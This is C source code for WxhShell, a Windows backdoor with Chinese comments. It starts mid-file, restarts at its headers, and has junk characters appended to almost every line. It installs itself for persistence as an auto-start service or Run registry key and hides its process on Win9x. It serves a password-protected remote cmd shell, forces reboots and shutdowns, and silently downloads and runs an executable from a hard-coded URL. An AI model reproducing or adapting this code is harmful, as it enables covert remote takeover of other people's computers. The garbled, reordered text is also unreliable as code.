    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ew]<jF|.#  
    else { c yP,[?N  
    closesocket(wsh); +TF8WZZF.d  
    ExitThread(0); PS$k >_=t  
    } }a^|L"  
    break; 9#Bx]wy  
    } ;gUXvx~~r  
  // 获取shell x/xb1"  
  case 's': { srK53vKMHW  
    CmdShell(wsh); 'y.JcS!|  
    closesocket(wsh); ab@=cL~^  
    ExitThread(0); wdwp9r  
    break; L7}i q0  
  } q? 9GrwL8F  
  // 退出 tFiR!f)  
  case 'x': { O:e#!C8^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w4,]2Ccn.  
    CloseIt(wsh); /&(1JqzlB  
    break; m6i%DE  
    } J(e7{aRJ9  
  // 离开 iDw.i"b  
  case 'q': { &\^rQi/tf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U-g9C.  
    closesocket(wsh); yUe+":7k.  
    WSACleanup(); =Dk7RKoHF  
    exit(1); @\jQoaLT$_  
    break; _=EZ `!%  
        } ~RInN+N#  
  } @VK6JjIq  
  } Vo M6  
"r..  
  // 提示信息 OJpj}R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LG&5VxT=,<  
} |` "?  
  } 2m"_z  
\ha-"Aqze3  
  return; )7Ixz1I9g  
} W5Zqgsy($F  
)xt4Wk/  
// shell模块句柄 -zKxf@"  
int CmdShell(SOCKET sock) Q'K$L9q  
{ Ly>OLI0x_  
STARTUPINFO si; j5^-.sEEw  
ZeroMemory(&si,sizeof(si)); b#a@ rh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,r`UBQ}?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /2XW  
PROCESS_INFORMATION ProcessInfo; OH6n^WKY  
char cmdline[]="cmd"; .6m_>Y6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f{ ^:3"i  
  return 0;  iSiDSeW8  
} rwgsXS8W6  
,Sg33N ?  
// 自身启动模式 opD-vDa h  
int StartFromService(void) bX2"89{  
{ L/i(KF{  
typedef struct ARWZ; GX  
{ * t!r@k  
  DWORD ExitStatus; vv+J0f^  
  DWORD PebBaseAddress; ,{KCY[}|  
  DWORD AffinityMask; +EkW>$  
  DWORD BasePriority; sV2iITF p  
  ULONG UniqueProcessId;  ;:OsSq&  
  ULONG InheritedFromUniqueProcessId; FN?3XNp.  
}   PROCESS_BASIC_INFORMATION; 5I' d PNf  
QVtM.oi!Q  
PROCNTQSIP NtQueryInformationProcess; " U8S81'  
^npJUa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }C,O   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Z9IZ~  
B4Lx{u no  
  HANDLE             hProcess; ,S!w'0k|n  
  PROCESS_BASIC_INFORMATION pbi; CW`!}yu%  
8\# ^k#X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2d`c!  
  if(NULL == hInst ) return 0; @;Y~frT  
_u5dC   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /S~m)$vu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A,#2^dR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SaO3 zz@L  
{rXs:N@  
  if (!NtQueryInformationProcess) return 0; 61@EDIYPc  
yZ3nRiuRT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RH[+1z8  
  if(!hProcess) return 0; JE;+T[I  
%e_"CS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H l<$a"K7\  
X3B{8qx_>  
  CloseHandle(hProcess); j*3}1L4P  
sbS~N*{E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ROdK8*jL  
if(hProcess==NULL) return 0; _^\$" nw  
v>m n/a  
HMODULE hMod; XUmR{A  
char procName[255]; v(O=IUa  
unsigned long cbNeeded; `hrQw)5?r  
XvKFPr0~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GwLFL.Ke  
o#D.9K(  
  CloseHandle(hProcess); JhX=l-?  
yI)~]K r  
if(strstr(procName,"services")) return 1; // 以服务启动 VKW|kU7Cs$  
}}T,W.#%u  
  return 0; // 注册表启动 Jpj!rXTX*  
} ,t,wy37*D  
-F1- e+=  
// 主模块 k \qiF|B)Z  
int StartWxhshell(LPSTR lpCmdLine) e@n!x}t8  
{ L?RF;jf  
  SOCKET wsl; nE|@IGH  
BOOL val=TRUE; Em^ (  
  int port=0; J4aB Pq`  
  struct sockaddr_in door; q_t4OrLr=  
?c#$dc"  
  if(wscfg.ws_autoins) Install(); ,pt%) c  
8;"*6vHZ  
port=atoi(lpCmdLine); (^n*Am;zlH  
Q@QFV~  
if(port<=0) port=wscfg.ws_port; s;1h-Oq (  
:&w{\-0{  
  WSADATA data; jbte *Ae  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n$["z w  
+j[oEI`e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z|* !y]We  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $_X|, v9  
  door.sin_family = AF_INET; 23ze/;6%A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f3tv3>p  
  door.sin_port = htons(port); ]axh*J3`i  
*xs!5|n+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kB P*K  
closesocket(wsl); <J{'o`{  
return 1; I+;-p]~  
} L%cVykWY"  
vqNsZ 8|`  
  if(listen(wsl,2) == INVALID_SOCKET) { 5#2 F1NX  
closesocket(wsl); jC, FG'P  
return 1; G|u3UhyB  
} csQfic  
  Wxhshell(wsl); xWX*tJ4  
  WSACleanup(); eon!CE0  
b,^*mx=  
return 0; ;<wS+4,  
mpay^.(%  
} K_BPZ5w  
^TFs;|..  
// 以NT服务方式启动 d- E4~)Qy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9NpD!A&64<  
{ F%/ h*  
DWORD   status = 0; m7qqY  
  DWORD   specificError = 0xfffffff; }5 9U}@xC  
lmCZ8 j(FF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bl;KOR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C+V* Fh3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bGXR7u&K  
  serviceStatus.dwWin32ExitCode     = 0; rOfK~g,X  
  serviceStatus.dwServiceSpecificExitCode = 0; adO&_NR  
  serviceStatus.dwCheckPoint       = 0; 4)1;0,tlG  
  serviceStatus.dwWaitHint       = 0; pchBvly+0  
s(2GFc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =XY]x  
  if (hServiceStatusHandle==0) return; ,^'R_efY  
&h~aChJ  
status = GetLastError(); MXvXVhCU  
  if (status!=NO_ERROR) B]iP't \~  
{  0E/:|k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +M\8>/0oA  
    serviceStatus.dwCheckPoint       = 0; k9si| '  
    serviceStatus.dwWaitHint       = 0; %y`7);.q  
    serviceStatus.dwWin32ExitCode     = status; >_ \<E!j  
    serviceStatus.dwServiceSpecificExitCode = specificError; LM l~yqM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =y]$0nh  
    return; ,LYFEq_  
  } (9RslvK L  
-_^c6!i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F[`ZqW  
  serviceStatus.dwCheckPoint       = 0; !u;>Wyd W  
  serviceStatus.dwWaitHint       = 0; i+vsp@d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )j&"%[2F  
} F # YPOH  
bE\,}DTy  
// 处理NT服务事件,比如:启动、停止 eiMH['X5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6[dur'x  
{ @,H9zrjVFZ  
switch(fdwControl) u5E]t9~Pq  
{ f-RK,#^?,  
case SERVICE_CONTROL_STOP: E;(Rm>lB  
  serviceStatus.dwWin32ExitCode = 0; &Ral+J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ @=^;nB  
  serviceStatus.dwCheckPoint   = 0; w!3>N"em  
  serviceStatus.dwWaitHint     = 0; 3:CO{=`\7B  
  { ;h/pnmhP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2j&@ p>  
  } K%g;NW  
  return; nKh&-E   
case SERVICE_CONTROL_PAUSE: 2XSHZ|;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9s$U%F6}  
  break; ]]iPEm"@  
case SERVICE_CONTROL_CONTINUE: -=}3j&,\R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `)>7)={  
  break; : mGAt[Cc  
case SERVICE_CONTROL_INTERROGATE: 7^e +  
  break; UVu DQ  
}; )mcEQ-!b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^>$P)=O:v  
} Q5+_u/  
<,%:   
// 标准应用程序主函数 ~=n#}{/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pK&I^r   
{ Mtm OUI&'  
^CT&0  
// 获取操作系统版本 l}g;'9ZB  
OsIsNt=GetOsVer(); %Z]'!X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d5j_6X  
le>Wm&E  
  // 从命令行安装 m~l F`?  
  if(strpbrk(lpCmdLine,"iI")) Install(); @9G- m(?*  
df*w>xS  
  // 下载执行文件 2 YxTMT  
if(wscfg.ws_downexe) { y&J@?Hc>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $ 0Yh!L?\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 34 AP(3w  
} :os z  
!dcwq;Ea  
if(!OsIsNt) { p9ZXbAJ{  
// 如果时win9x,隐藏进程并且设置为注册表启动 7S^""*Q^  
HideProc(); !fkep=  
StartWxhshell(lpCmdLine); tykB.2f  
} FH5ql~  
else (Ye>Cp+]  
  if(StartFromService()) jx`QB')kX  
  // 以服务方式启动 O9h+Q\0\W  
  StartServiceCtrlDispatcher(DispatchTable); gPC@Yy  
else W0`Gc {  
  // 普通方式启动 !Jfs?Hy  
  StartWxhshell(lpCmdLine); {{yt*7k{  
*JCQu0  
return 0; *wbZ;rfF  
} !b|'Vp^U  
D^F{u Dlb  
3TuC+'`G  
0Fr1Ku!  
=========================================== [bQj,PZ&  
b3qc_  
PH4%R]{8{  
Wa"(m*hW  
irBDGT~  
g^>#^rLU  
" q }C+tn"\  
GR4?BuY,  
#include <stdio.h> H^%.=kf  
#include <string.h> |FR3w0o  
#include <windows.h> Ju` [m  
#include <winsock2.h> VDEv>u4  
#include <winsvc.h> } /^C|iS7  
#include <urlmon.h>  q" @  
>um!Eo  
#pragma comment (lib, "Ws2_32.lib") VL( <  
#pragma comment (lib, "urlmon.lib") XR+3j/zEQ  
+FFG#6e  
#define MAX_USER   100 // 最大客户端连接数 4jm K].  
#define BUF_SOCK   200 // sock buffer lT8\}hNI+  
#define KEY_BUFF   255 // 输入 buffer E">T*ao  
VrP}#3I  
#define REBOOT     0   // 重启 =v6*|  
#define SHUTDOWN   1   // 关机 5"Kx9n|  
5MxL*DB=b  
#define DEF_PORT   5000 // 监听端口 D@YP7  
p#8W#t$  
#define REG_LEN     16   // 注册表键长度 {==pZpyyh  
#define SVC_LEN     80   // NT服务名长度 vlWw3>4  
fp>.Owt%.  
// 从dll定义API V1=*z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dx_6X!=.J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bo_ym36N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZDLMMX x>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bd0eC#UGkQ  
;^k7zNf-  
// wxhshell配置信息 o,Z{ w"  
struct WSCFG { OJ>.-"  
  int ws_port;         // 监听端口 Bn wzcl  
  char ws_passstr[REG_LEN]; // 口令 ik1tidw  
  int ws_autoins;       // 安装标记, 1=yes 0=no n(Y%Vmy  
  char ws_regname[REG_LEN]; // 注册表键名 h5%|meZQb  
  char ws_svcname[REG_LEN]; // 服务名 . 5HQ   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *tQk;'/A]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !%L,* '  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v@ C,RP9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ps[$.h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mPZGA\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N"5fmY<  
CX/(o]  
}; D}mL7d1  
&wH:aD  
// default Wxhshell configuration |lQ;ALH!  
struct WSCFG wscfg={DEF_PORT, {kB `>VS  
    "xuhuanlingzhe", XH4d<?qu  
    1, &&8'0 .M{  
    "Wxhshell", M7}Q=q\9  
    "Wxhshell",  ^y.UbI  
            "WxhShell Service", KpZ:Nh$  
    "Wrsky Windows CmdShell Service", mS=r(3#  
    "Please Input Your Password: ", FVWfDQ$&v  
  1, czWw~'."  
  "http://www.wrsky.com/wxhshell.exe", 4 2) mM#  
  "Wxhshell.exe" *b(wVvz  
    }; ,i}|5ozj4  
\|= mD}N  
// 消息定义模块 x4?10f(9=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o3Ot.9L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }U 5Y=RYo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N_wp{4 0/  
char *msg_ws_ext="\n\rExit."; O_,O,1  
char *msg_ws_end="\n\rQuit."; ".2K9j7$  
char *msg_ws_boot="\n\rReboot..."; f_mhD dq  
char *msg_ws_poff="\n\rShutdown..."; *dE^-dm#  
char *msg_ws_down="\n\rSave to "; c=p=-j=.J  
T.&7sbE_  
char *msg_ws_err="\n\rErr!"; `x8B n"  
char *msg_ws_ok="\n\rOK!"; 8QgA@y"  
xh9qg0d  
char ExeFile[MAX_PATH]; I+?hG6NM  
int nUser = 0; rs8\)\z  
HANDLE handles[MAX_USER]; qk{'!Ii  
int OsIsNt; %HuyK  
%IZ)3x3l  
SERVICE_STATUS       serviceStatus; l[h'6+o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gm8E<iTP  
pK_?}~  
// 函数声明 TRvZ  
int Install(void); cgZaPw2 bw  
int Uninstall(void); 2!&pEqs  
int DownloadFile(char *sURL, SOCKET wsh); }7/e8 O2  
int Boot(int flag); UGKaOol.  
void HideProc(void); sa-9$},z4  
int GetOsVer(void); }6m?d!m  
int Wxhshell(SOCKET wsl); v"6 \=@  
void TalkWithClient(void *cs); 5 9 2;W-y  
int CmdShell(SOCKET sock); V^fV7hw<  
int StartFromService(void); :- +4:S  
int StartWxhshell(LPSTR lpCmdLine); NlPS#  
2Oc$+St~8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kyUl{Zj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ISqfU]>[  
HMQI&Lh=U  
// 数据结构和表定义 [ = M%  
SERVICE_TABLE_ENTRY DispatchTable[] = dSK 0h(8  
{ u=K2Q4  
{wscfg.ws_svcname, NTServiceMain}, ~UMOT!4}3  
{NULL, NULL} 440FhD Mj  
}; pWaPC /,g  
*o?i:LE]  
// 自我安装 Fz"ff4Bx [  
int Install(void) pa/9F[  
{ #gZ|T M/h  
  char svExeFile[MAX_PATH]; C3;[e0.1b  
  HKEY key; UZxmh sv  
  strcpy(svExeFile,ExeFile); GrI&?=S^  
ocA]M=3~k  
// 如果是win9x系统,修改注册表设为自启动 n Y w\'c  
if(!OsIsNt) { C8b''9t.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?[1SiJT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +oy*Kxs7  
  RegCloseKey(key); )iE"Tl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BSUPS+@+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T_hV%   
  RegCloseKey(key); !C&%T]  
  return 0; Z5)eREi=  
    } 1"E\C/c  
  } l gq=GHW  
} LJuW${Y  
else { 8C&x MA^  
9C}qVoNu  
// 如果是NT以上系统,安装为系统服务 8I#D`yVKc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %$X\"  
if (schSCManager!=0) <0j{ $.  
{ Ol+Kp!ocY  
  SC_HANDLE schService = CreateService pM$ @m]  
  ( A" !n1P  
  schSCManager, x mo&![P  
  wscfg.ws_svcname, 3)E(RyQA3  
  wscfg.ws_svcdisp, *g7DPN$aQ  
  SERVICE_ALL_ACCESS, >)Dhi+D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,;iA2  
  SERVICE_AUTO_START, zB)%lb  
  SERVICE_ERROR_NORMAL, s (PY/{8  
  svExeFile, VWa|Y@Dc]  
  NULL, zG% |0  
  NULL, :t$A8+A+0  
  NULL, {8CWWfHCD  
  NULL, tY_5Pz(@  
  NULL UzQ$B>f  
  ); avNLV  
  if (schService!=0) PdE>@0X?M  
  { 7'j9rmTXs  
  CloseServiceHandle(schService); !#}>Hv^N  
  CloseServiceHandle(schSCManager); ;93KG4a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ww,Z )m  
  strcat(svExeFile,wscfg.ws_svcname); lo:~aJ8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q"}s>]k3_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L3c*LL  
  RegCloseKey(key); d6b.zP  
  return 0; uQp_':\k  
    } n<R \w''x  
  } /bcY6b=:  
  CloseServiceHandle(schSCManager); eE3-t/=  
} /$`;r2LG  
} h}6_ybmZ  
tgN92Q.i6T  
return 1; "iek,Y}j7  
} Z3;=w%W  
YmDn+VIg  
// 自我卸载 H@W0gK(cS;  
int Uninstall(void) V5s& hZZYa  
{ ]P3[.$z  
  HKEY key;  P\(30  
Lk nVqZ|k  
if(!OsIsNt) { iZTa>@   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yYX :huw  
  RegDeleteValue(key,wscfg.ws_regname); mw+j|{[  
  RegCloseKey(key); h$&rE@N|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FAtWsk*pgY  
  RegDeleteValue(key,wscfg.ws_regname); \R Z3Hh  
  RegCloseKey(key); y4<+-  
  return 0; # "r kuDO  
  } `ue?Z%p|  
} ,+-h7^{`  
} G8P+A1 f/>  
else { WOb8 "*OM  
# #>a&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ptR  
if (schSCManager!=0) 2PBepgQyPU  
{ !%62Phai  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;1E_o  
  if (schService!=0) 9[{sEg=C$e  
  { 3^~Zj95M  
  if(DeleteService(schService)!=0) { B9W/bJ6%  
  CloseServiceHandle(schService); "::9aYd!  
  CloseServiceHandle(schSCManager); ~d+O/:=K_  
  return 0; .0 X$rX=  
  } lC{L6&T  
  CloseServiceHandle(schService); V.j#E 1P  
  } FO^24p  
  CloseServiceHandle(schSCManager); ?*o;o?5s^  
} LDX y}hm)  
} fLM.k CD?u  
+$ ~8)95<B  
return 1; ZgBckb  
} G5u meqYC  
npj5U/  
// 从指定url下载文件 Rp eBm#E2  
int DownloadFile(char *sURL, SOCKET wsh) 'FxYMSZS$  
{ BvJ\x)  
  HRESULT hr; I}%mfojC  
char seps[]= "/"; }K;iJ~kD1  
char *token; -x?Hj/  
char *file; D(@SnI+  
char myURL[MAX_PATH]; zKMv7;s?  
char myFILE[MAX_PATH]; gix>DHq$k  
+gNX7xuY  
strcpy(myURL,sURL); )|:8zDuJ  
  token=strtok(myURL,seps); @?M; 'xMbB  
  while(token!=NULL) 40+fGRyOL  
  { ](n69XX_  
    file=token; !ABLd|tP  
  token=strtok(NULL,seps); PHQcstW  
  } 2<m Q,,j  
' tSnH&c  
GetCurrentDirectory(MAX_PATH,myFILE); cf&C|U  
strcat(myFILE, "\\"); <G}m#  
strcat(myFILE, file); 7YD\ !2b  
  send(wsh,myFILE,strlen(myFILE),0); C=s((q*  
send(wsh,"...",3,0); $~ VcQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8E=vR 8  
  if(hr==S_OK) `W="g6(  
return 0; ,i;9[4QMX  
else }Fz!6F2w  
return 1; vcV!K^M-  
*NF&Y  
} GJ>ypEWo  
lXw;|dGF  
// 系统电源模块 vhX-Qkt}  
int Boot(int flag) 1"d\ mE  
{ C?(y2p`d\  
  HANDLE hToken; w4aiI2KFq  
  TOKEN_PRIVILEGES tkp; Uv'uqt  
6T]Q.\5BZ  
  if(OsIsNt) { rr>IKyI'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nDF&EE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $'y1 Po'2  
    tkp.PrivilegeCount = 1; V"BVvSNu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uiuTv)pwF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > `0| X  
if(flag==REBOOT) { QdirE4W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pj j}K  
  return 0; O/nqNQ?<  
} |<'10  
else { C~:b*X   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7Z VVR*n|  
  return 0; [(!Q-8  
} X CV0.u |  
  } z 3Zu C{  
  else {  L2k;f]  
if(flag==REBOOT) { Y'?Izn b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uH= Gt^_  
  return 0; fo *!a$)  
} LuLy6]6D;  
else { Fz{o-4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2-p8rGI_F  
  return 0; 0NVG"-Q  
} x}uwWfe3  
} E=A/4p6\$  
(tTLK0V-|3  
return 1; e1oFnu2R  
} )!BB/'DRQ  
KqFmFcf|  
// win9x进程隐藏模块 _AVy:~/  
void HideProc(void) RLv&,$$0  
{ rnJS[o0  
Qz'O{f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J&(  
  if ( hKernel != NULL ) p$B)^S%0i  
  { 7jhl0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T3 =)F%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h)"'YzCt  
    FreeLibrary(hKernel); FyQOa)5  
  } ZV0) ."^Z  
#cR57=M}  
return; pVdhj^n  
} {|G&W^`  
)x y9X0  
// 获取操作系统版本 ?exALv'B  
int GetOsVer(void) 1a \=0=[  
{ M_yZR^;^-  
  OSVERSIONINFO winfo; {c.}fyN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6ch@Be5*  
  GetVersionEx(&winfo); VOD1xWrb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) % cU-5\xF  
  return 1; [ e$]pN%  
  else XA=|]5C  
  return 0; mI2|0RWI)l  
} jc3ExOH  
|L*6x S[  
// 客户端句柄模块 9 Wxq)  
int Wxhshell(SOCKET wsl) ytg7p5{!i  
{ Z?5,cI[6#  
  SOCKET wsh; 1 OuSH+  
  struct sockaddr_in client; Vx0MG{vG1  
  DWORD myID; 7MR:X#2v>  
:k Rv  
  while(nUser<MAX_USER) pIk4V/ fy  
{ ,q{lYX83S  
  int nSize=sizeof(client); 0%vixR52  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QSO5 z2|  
  if(wsh==INVALID_SOCKET) return 1; i(dXA(p  
B(HNB\3u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ch%Q'DR_I)  
if(handles[nUser]==0) u0<d2Y  
  closesocket(wsh); 3 ATN?V@  
else #u!y`lek  
  nUser++; @Z"QA!OK~c  
  } vbW\~xf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :/n ?4K^  
0tn7Rkiw  
  return 0; A0'tCq]?0  
} cuJ / Vc  
gEX:S(1 QP  
// 关闭 socket qdg= Imx  
void CloseIt(SOCKET wsh) bvt-leA=  
{ r>n8`W  
closesocket(wsh); H J2O@e  
nUser--; h5h-}qBA  
ExitThread(0); 1"87EP   
} _Eet2;9  
D_L'x"  
// 客户端请求句柄 B' <O)"1w  
void TalkWithClient(void *cs) c~Q`{2%+  
{ #l8K8GLuf  
;tZ}i4Ud  
  SOCKET wsh=(SOCKET)cs; F 5b]/;|  
  char pwd[SVC_LEN];  p1[WGeV  
  char cmd[KEY_BUFF]; f)!{y> Q  
char chr[1]; &q kl*#]  
int i,j; wpPxEp/  
c/,|[ t  
  while (nUser < MAX_USER) { Br?++\  
~cWLu5  
if(wscfg.ws_passstr) { Pj^k pjV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +LvZ87O^~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J\,@Bm|1n{  
  //ZeroMemory(pwd,KEY_BUFF); XF0*d~4  
      i=0; >QbI)if`1  
  while(i<SVC_LEN) { mo97GW  
C 6:pY-  
  // 设置超时 <ZN) /,4PS  
  fd_set FdRead; (5CX*)R  
  struct timeval TimeOut; J{v6DYhi  
  FD_ZERO(&FdRead); U/~Zk@3j  
  FD_SET(wsh,&FdRead); [m@e^6F0U  
  TimeOut.tv_sec=8; 6M2i? c  
  TimeOut.tv_usec=0; Xlgz.j7XR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [NR0] #h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cfF-e93T  
o F,R@f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l%3Q=c  
  pwd=chr[0]; W"DxIy  
  if(chr[0]==0xd || chr[0]==0xa) { zjhR9  
  pwd=0; 8I|1P l  
  break; TO8\4p*tE  
  } P7^TRrMF  
  i++; iz$v8;w  
    } 6 I>xd  
G=0}IPfp  
  // 如果是非法用户,关闭 socket ?7uStqa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YV>VA<c  
} ce-m)o/  
!3gpiQH{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |Cxip&e>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .,(uoK{  
S -mzxj  
while(1) { %[31ZFYB  
E,nYtn|B  
  ZeroMemory(cmd,KEY_BUFF); d%"@#bB  
7kew/8-  
      // 自动支持客户端 telnet标准   4 Q>jP3  
  j=0; _<&K]e@dp  
  while(j<KEY_BUFF) { 7xa@wa?!L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >H]|A<9u(  
  cmd[j]=chr[0]; g#bfY=C  
  if(chr[0]==0xa || chr[0]==0xd) { A/W7 ;D  
  cmd[j]=0;  ;#Bh_f  
  break; ?F_;~  
  } /R+]}Lt~%*  
  j++; azATKH+j  
    } QI^8b\36  
_yXeX  
  // 下载文件 71,0v`Z<  
  if(strstr(cmd,"http://")) { smQpIB;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gx{~5&1  
  if(DownloadFile(cmd,wsh)) L@x8hUG"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); js$a^6  
  else &B>uPZ]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u{dN>}{  
  } I]j/ ab7>  
  else {  ]9l%  
`0i}}Zo  
    switch(cmd[0]) { oew]ijnB  
  "vHAp55B{  
  // 帮助 M%dl?9pbq  
  case '?': { 3[g++B."pC  
